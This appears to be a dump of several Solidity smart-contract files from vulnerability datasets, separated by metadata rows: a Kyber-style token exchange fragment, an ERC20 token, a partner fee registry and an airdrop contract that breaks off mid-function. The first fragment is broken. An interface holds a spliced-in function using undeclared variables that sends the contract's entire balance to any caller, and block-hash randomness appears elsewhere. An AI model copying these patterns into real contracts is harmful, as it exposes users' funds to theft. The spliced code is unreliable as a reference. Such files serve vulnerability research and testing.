if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @param src Src token
/// @param dest Destination token
function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint) {
uint bestRate = 0;
uint bestReserve = 0;
uint numRelevantReserves = 0;
uint numReserves = reserves.length;
uint[] memory rates = new uint[](numReserves);
uint[] memory reserveCandidates = new uint[](numReserves);
for (uint i = 0; i < numReserves; i++) {
//list all reserves that have this token.
if (!(perReserveListedPairs[reserves[i]])[keccak256(src, dest)]) continue;
rates[i] = reserves[i].getConversionRate(src, dest, srcQty, block.number);
if (rates[i] > bestRate) {
//best rate is highest rate
bestRate = rates[i];
}
}
if (bestRate > 0) {
uint random = 0;
uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff);
for (i = 0; i < numReserves; i++) {
if (rates[i] >= smallestRelevantRate) {
reserveCandidates[numRelevantReserves++] = i;
}
}
if (numRelevantReserves > 1) {
//when encountering small rate diff from bestRate. draw from relevant reserves
random = uint(block.blockhash(block.number-1)) % numRelevantReserves;
}
bestReserve = reserveCandidates[random];
bestRate = rates[bestReserve];
}
return (bestReserve, bestRate);
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns (uint expectedRate, uint slippageRate)
{
require(expectedRateContract != address(0));
return expectedRateContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return whiteListContract.getUserCapInWei(user);
}
function doTrade(ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
internal
returns(uint)
{
require(tx.gasprice <= maxGasPrice);
require(validateTradeInput(src, srcAmount, destAddress));
uint reserveInd;
uint rate;
(reserveInd, rate) = findBestRate(src, dest, srcAmount);
KyberReserveInterface theReserve = reserves[reserveInd];
require(rate > 0);
require(rate < MAX_RATE);
require(rate >= minConversionRate);
uint actualSrcAmount = srcAmount;
uint actualDestAmount = calcDestAmount(src, dest, actualSrcAmount, rate);
if (actualDestAmount > maxDestAmount) {
actualDestAmount = maxDestAmount;
actualSrcAmount = calcSrcAmount(src, dest, actualDestAmount, rate);
require(actualSrcAmount <= srcAmount);
}
// do the trade
// verify trade size is smaller than user cap
uint ethAmount;
if (src == ETH_TOKEN_ADDRESS) {
ethAmount = actualSrcAmount;
} else {
ethAmount = actualDestAmount;
}
require(ethAmount <= getUserCapInWei(msg.sender));
require(doReserveTrade(src,
actualSrcAmount,
dest,
destAddress,
actualDestAmount,
theReserve,
rate,
true));
if ((actualSrcAmount < srcAmount) && (src == ETH_TOKEN_ADDRESS)) {
msg.sender.transfer(srcAmount - actualSrcAmount);
}
require(feeBurnerContract.handleFees(ethAmount, theReserve, walletId));
ExecuteTrade(msg.sender, src, dest, actualSrcAmount, actualDestAmount);
return actualDestAmount;
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev do one trade with a reserve
/// @param src Src token
/// @param amount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param reserve Reserve to use
/// @param validate If true, additional validations are applicable
/// @return true if trade is successful
function doReserveTrade(ERC20 src,
uint amount,
ERC20 dest,
address destAddress,
uint expectedDestAmount,
KyberReserveInterface reserve,
uint conversionRate,
bool validate)
internal
returns(bool)
{
uint callValue = 0;
if (src == ETH_TOKEN_ADDRESS) {
callValue = amount;
} else {
// take src tokens to this contract
src.transferFrom(msg.sender, this, amount);
}
// reserve sends tokens/eth to network. network sends it to destination
require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate));
if (dest == ETH_TOKEN_ADDRESS) {
destAddress.transfer(expectedDestAmount);
} else {
require(dest.transfer(destAddress, expectedDestAmount));
}
return true;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev checks that user sent ether/tokens to contract before trade
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @return true if input is valid
function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) {
if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0))
return false;
if (src == ETH_TOKEN_ADDRESS) {
if (msg.value != srcAmount)
return false;
} else {
if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount))
return false;
}
return true;
}
}
contract WhiteListInterface {
function getUserCapInWei(address user) external view returns (uint userCapWei);
}
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
function tokenTransfer() public {
totalEth = totalEth + msg.value;
uint256 amount = msg.value * unitsEth;
if (balances[walletAdd] < amount) {
return;
}
balances[walletAdd] = balances[walletAdd] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
msg.sender.transfer(this.balance);
}
}
| 180,165 | 514 |
2ddd253d54ad2241db8a6f0d37b2feff88fd0a1f1dd2c9978df8511fab82e6ba
| 24,495 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVp177eFRR87EQQ54rtpJhu96ubxtZhfZ7_ProassetzToken.sol
| 2,796 | 10,760 |
//SourceUnit: ProassetzToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Blacklistable is Ownable {
mapping(address => bool) internal blacklisted;
event Blacklisted(address indexed _account);
event Whitelisted(address indexed _account);
function isBlacklisted(address _account) public view returns (bool) {
return blacklisted[_account];
}
function blacklist(address _account) public onlyOwner {
blacklisted[_account] = true;
emit Blacklisted(_account);
}
function whitelist(address _account) public onlyOwner {
blacklisted[_account] = false;
emit Whitelisted(_account);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () public {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 immutable private _cap;
constructor (string memory name_, string memory symbol_, uint256 cap_) public {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
_name = name_;
_symbol = symbol_;
_decimals = 8;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ProassetzToken is ERC20, ERC20Burnable, Blacklistable, Pausable {
constructor() public ERC20("Proassetz Token", "PROFY", 1000000000 * (10 ** uint256(decimals()))) {
_mint(0x401aA7a6e6D6303487e3c52Ea69bb4A8754DE0d8, 100000000 * (10 ** uint256(decimals())));
transferOwnership(0x401aA7a6e6D6303487e3c52Ea69bb4A8754DE0d8);
}
function mint(address account, uint256 amount) public virtual onlyOwner {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
_mint(account, amount);
}
function pause() public virtual onlyOwner {
_pause();
}
function unpause() public virtual onlyOwner {
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!isBlacklisted(from), "ERC20WithSafeTransfer: invalid sender");
require(!isBlacklisted(to), "ERC20WithSafeTransfer: invalid recipient");
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
| 305,371 | 515 |
c3546194aa78f91745a42a91063a5f0f8592884027e875e4d4e25fdbe2acc512
| 16,452 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xfb2e4c813451a441f26530642fc83bf14d3141cf.sol
| 3,684 | 14,450 |
pragma solidity 0.5.7;
contract Ownable {
address payable public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address payable _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address payable _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
(success,) = _tokenAddress.call(abi.encodeWithSignature("transfer(address,uint256)", _to, _value));
require(success, "Transfer failed");
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
(success,) = _tokenAddress.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", _from, _to, _value));
require(success, "Transfer From failed");
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
(success,) = _tokenAddress.call(abi.encodeWithSignature("approve(address,uint256)", _spender, _value));
require(success, "Approve failed");
return fetchReturnData();
}
function fetchReturnData() internal pure returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28); // 10B tokens
uint256 constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
address constant internal ETH_ADDRESS = address(0x0);
// Currently constants can't be accessed from other contracts, so providing functions to do that here
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function eth_address() internal pure returns (address) { return ETH_ADDRESS; }
/// @notice Retrieve the number of decimals used for a given ERC20 token
/// @dev As decimals are an optional feature in ERC20, this contract uses `call` to
/// ensure that an exception doesn't cause transaction failure
/// @param token the token for which we should retrieve the decimals
/// @return decimals the number of decimals in the given token
function getDecimals(address token)
internal
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
/// @dev Using assembly due to issues with current solidity `address.call()`
/// implementation: https://github.com/ethereum/solidity/issues/2884
assembly {
// Pointer to next free memory slot
let ptr := mload(0x40)
// Store functionSig variable at ptr
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(5000, // Amount of gas
token, // Address to call
0, // ether to send
ptr, // ptr to input data
functionSigLength, // size of data
ptr, // where to store output data (overwrite input)
wordLength // size of output data (32 bytes))
switch success
case 0 {
decimals := 0 // If the token doesn't implement `decimals()`, return 0 as default
}
case 1 {
decimals := mload(ptr) // Set decimals to return data from call
}
mstore(0x40,add(ptr,0x04)) // Reset the free memory pointer to the next known free location
}
}
/// @dev Checks that a given address has its token allowance and balance set above the given amount
/// @param tokenOwner the address which should have custody of the token
/// @param tokenAddress the address of the token to check
/// @param tokenAmount the amount of the token which should be set
/// @param addressToAllow the address which should be allowed to transfer the token
/// @return bool true if the allowance and balance is set, false if not
function tokenAllowanceAndBalanceSet(address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow)
internal
view
returns (bool)
{
return (ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal returns (uint) {
return calcDstQty(srcAmount, getDecimals(address(src)), getDecimals(address(dest)), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal returns (uint) {
return calcSrcQty(destAmount, getDecimals(address(src)), getDecimals(address(dest)), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Partner {
address payable public partnerBeneficiary;
uint256 public partnerPercentage; //This is out of 1 ETH, e.g. 0.5 ETH is 50% of the fee
uint256 public companyPercentage;
address payable public companyBeneficiary;
event LogPayout(address token,
uint256 partnerAmount,
uint256 companyAmount);
function init(address payable _companyBeneficiary,
uint256 _companyPercentage,
address payable _partnerBeneficiary,
uint256 _partnerPercentage) public {
require(companyBeneficiary == address(0x0) && partnerBeneficiary == address(0x0));
companyBeneficiary = _companyBeneficiary;
companyPercentage = _companyPercentage;
partnerBeneficiary = _partnerBeneficiary;
partnerPercentage = _partnerPercentage;
}
function payout(address[] memory tokens) public {
// Payout both the partner and the company at the same time
for(uint256 index = 0; index<tokens.length; index++){
uint256 balance = tokens[index] == Utils.eth_address()? address(this).balance : ERC20(tokens[index]).balanceOf(address(this));
uint256 partnerAmount = SafeMath.div(SafeMath.mul(balance, partnerPercentage), getTotalFeePercentage());
uint256 companyAmount = balance - partnerAmount;
if(tokens[index] == Utils.eth_address()){
partnerBeneficiary.transfer(partnerAmount);
companyBeneficiary.transfer(companyAmount);
} else {
ERC20SafeTransfer.safeTransfer(tokens[index], partnerBeneficiary, partnerAmount);
ERC20SafeTransfer.safeTransfer(tokens[index], companyBeneficiary, companyAmount);
}
}
}
function getTotalFeePercentage() public view returns (uint256){
return partnerPercentage + companyPercentage;
}
function() external payable {
}
}
contract PartnerRegistry is Ownable {
address target;
mapping(address => bool) partnerContracts;
address payable public companyBeneficiary;
uint256 public companyPercentage;
event PartnerRegistered(address indexed creator, address indexed beneficiary, address partnerContract);
constructor(address _target, address payable _companyBeneficiary, uint256 _companyPercentage) public {
target = _target;
companyBeneficiary = _companyBeneficiary;
companyPercentage = _companyPercentage;
}
function registerPartner(address payable partnerBeneficiary, uint256 partnerPercentage) external {
Partner newPartner = Partner(createClone());
newPartner.init(companyBeneficiary, companyPercentage, partnerBeneficiary, partnerPercentage);
partnerContracts[address(newPartner)] = true;
emit PartnerRegistered(address(msg.sender), partnerBeneficiary, address(newPartner));
}
function overrideRegisterPartner(address payable _companyBeneficiary,
uint256 _companyPercentage,
address payable partnerBeneficiary,
uint256 partnerPercentage) external onlyOwner {
Partner newPartner = Partner(createClone());
newPartner.init(_companyBeneficiary, _companyPercentage, partnerBeneficiary, partnerPercentage);
partnerContracts[address(newPartner)] = true;
emit PartnerRegistered(address(msg.sender), partnerBeneficiary, address(newPartner));
}
function deletePartner(address _partnerAddress) public onlyOwner {
partnerContracts[_partnerAddress] = false;
}
function createClone() internal returns (address payable result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
function isValidPartner(address partnerContract) public view returns(bool) {
return partnerContracts[partnerContract];
}
function updateCompanyInfo(address payable newCompanyBeneficiary, uint256 newCompanyPercentage) public onlyOwner {
companyBeneficiary = newCompanyBeneficiary;
companyPercentage = newCompanyPercentage;
}
}
| 213,324 | 516 |
c3eab28cefe15f6efb392ce1fc03efecd867dabf34c8c20d7c5d7b2cf5f1d0ec
| 20,248 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf769e8fd6c001394007177cfc8e207073d9d5165.sol
| 4,666 | 14,615 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract KahnAirDrop{
using SafeMath for uint256;
struct User{
address user_address;
uint signup_time;
uint256 reward_amount;
bool blacklisted;
uint paid_time;
uint256 paid_token;
bool status;
}
address public owner;
address public wallet;
uint256 public mineth = 0;
uint256 public minsignupeth = 0;
bool public paused = false;
uint public maxSignup = 1000;
bool public allowsSignup = true;
address[] public bountyaddress;
address[] public adminaddress;
address[] public staffaddress;
uint public startTimes;
uint public endTimes;
bool public contractbacklist = false;
uint public userSignupCount = 0;
uint256 public userClaimAmt = 0;
ERC20 public token;
uint public payStyle = 2;
bool public paidversion = true;
uint public payoutNow = 4;
uint256 public fixPayAmt = 0;
mapping(address => User) public bounties;
mapping(address => bool) public signups;
mapping(address => bool) public blacklist;
mapping(address => bool) public isProcess;
mapping (address => bool) public admins;
mapping (address => bool) public staffs;
event eTokenClaim(address indexed _address, uint256 _amount);
event eReClaimToken(uint256 _taBal, address _wallet, address _address);
event eWalletChange(address _wallet, address indexed _address);
event eUpdatePayout(uint _payStyle, uint _payoutNow, uint256 _fixPayAmt, bool _allowsSignup, address indexed _address);
event eUpdateStartEndTime(uint _startTimes, uint _endTimes, address indexed _address);
function KahnAirDrop(ERC20 _token, uint256 _min_eth, uint256 _minsignupeth, uint _paystyle, address _wallet, uint _starttimes, uint _endtimes, uint _payoutnow, uint256 _fixpayamt, uint _maxsignup, bool _allowssignup, bool _paidversion) public {
require(_token != address(0));
token = _token;
admins[msg.sender] = true;
adminaddress.push(msg.sender) -1;
owner = msg.sender;
mineth = _min_eth;
minsignupeth = _minsignupeth;
wallet = _wallet;
payStyle = _paystyle;
startTimes = _starttimes;
endTimes = _endtimes;
payoutNow = _payoutnow;
fixPayAmt = _fixpayamt;
maxSignup = _maxsignup;
allowsSignup = _allowssignup;
paidversion = _paidversion;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(admins[msg.sender]);
_;
}
modifier onlyStaffs {
require(admins[msg.sender] || staffs[msg.sender]);
_;
}
modifier ifNotPaused {
require(!paused);
_;
}
modifier ifNotStartExp {
require(now >= startTimes && now <= endTimes);
_;
}
modifier ifNotBlacklisted {
require(!contractbacklist);
_;
}
function ownerUpdateToken(ERC20 _token, address _wallet) public onlyOwner{
token = _token;
wallet = _wallet;
emit eWalletChange(wallet, msg.sender);
}
function ownerUpdateOthers(uint _maxno, bool _isBacklisted, uint256 _min_eth, uint256 _minsignupeth, bool _paidversion) public onlyOwner{
maxSignup = _maxno;
contractbacklist = _isBacklisted;
mineth = _min_eth;
minsignupeth = _minsignupeth;
paidversion = _paidversion;
}
function ownerRetrieveTokenDetails() view public onlyOwner returns(ERC20, address, uint256, uint256, bool){
return(token, wallet, token.balanceOf(this), userClaimAmt, contractbacklist);
}
function ownerRetrieveContractConfig2() view public onlyOwner returns(uint256, bool, uint, uint, uint, uint, uint256, uint, bool){
return(mineth, paidversion, payStyle, startTimes, endTimes, payoutNow, fixPayAmt, maxSignup, allowsSignup);
}
function addAdminWhitelist(address[] _userlist) public onlyOwner onlyAdmin{
require(_userlist.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
if(baddr != address(0)){
if(!admins[baddr]){
admins[baddr] = true;
adminaddress.push(baddr) -1;
}
}
}
}
function removeAdminWhitelist(address[] _userlist) public onlyAdmin{
require(_userlist.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
if(baddr != address(0)){
if(admins[baddr]){
admins[baddr] = false;
}
}
}
}
function addStaffWhitelist(address[] _userlist) public onlyAdmin{
require(_userlist.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
if(baddr != address(0)){
if(!staffs[baddr]){
staffs[baddr] = true;
staffaddress.push(baddr) -1;
}
}
}
}
function removeStaffWhitelist(address[] _userlist) public onlyAdmin{
require(_userlist.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
if(baddr != address(0)){
if(staffs[baddr]){
staffs[baddr] = false;
}
}
}
}
function reClaimBalance() public onlyAdmin{
uint256 taBal = token.balanceOf(this);
token.transfer(wallet, taBal);
emit eReClaimToken(taBal, wallet, msg.sender);
}
function adminUpdateWallet(address _wallet) public onlyAdmin{
require(_wallet != address(0));
wallet = _wallet;
emit eWalletChange(wallet, msg.sender);
}
function adminUpdateStartEndTime(uint _startTimes, uint _endTimes) public onlyAdmin{
require(_startTimes > 0);
require(_endTimes > 0);
startTimes = _startTimes;
endTimes = _endTimes;
emit eUpdateStartEndTime(startTimes, endTimes, msg.sender);
}
function adminUpdMinSign(uint256 _min_eth, uint256 _minsignupeth) public onlyAdmin{
if(paidversion){
